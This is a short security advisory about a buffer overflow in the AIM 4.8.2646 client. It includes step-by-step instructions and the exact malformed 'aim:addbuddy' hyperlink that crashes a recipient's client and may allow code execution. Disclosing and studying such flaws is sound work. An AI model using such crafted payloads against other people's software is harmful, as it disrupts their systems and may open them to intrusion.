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source: https://www.securityfocus.com/bid/4244/info
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AOL Instant Messenger (AIM) is a real time messaging service. The AIM client runs on Microsoft Windows operating systems.
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It is possible to crash the AIM client by sending a specially formatted hyper-link to a user. When the user attempts to launch the malicious hyper-link, the client will crash.
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This issue appears to be caused by an unchecked buffer in the AIM software. As a result, it may also be possible to exploit this issue to cause attacker-supplied instructions to be executed on the machine of a user running the vulnerable client.
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1- Make sure you have AIM 4.8.2646 installed
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2- Open a new IM window and click the link button to setup a hyperlink
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for your buddy.
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4- Input the exact text into the link
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aim:addbuddy?screenname=12345678,12345678,12345678,12345678,12345678,
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12345678,12345678,12345678,12345678,12345678,12345678&groupname=
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12345678,12345678,12345678,12345678,12345678,12345678,12345678
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,12345678,12345678,12345678,
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5- The text can be anything as long as it meets the format of 8
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characters for each word to add as a screenname and a groupname, the
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instances should be 11 for the screenname and 10 for the groupname
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6- A memory dump will occurs as soon as the hyperlink is clicked by
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either side (You or your buddy). |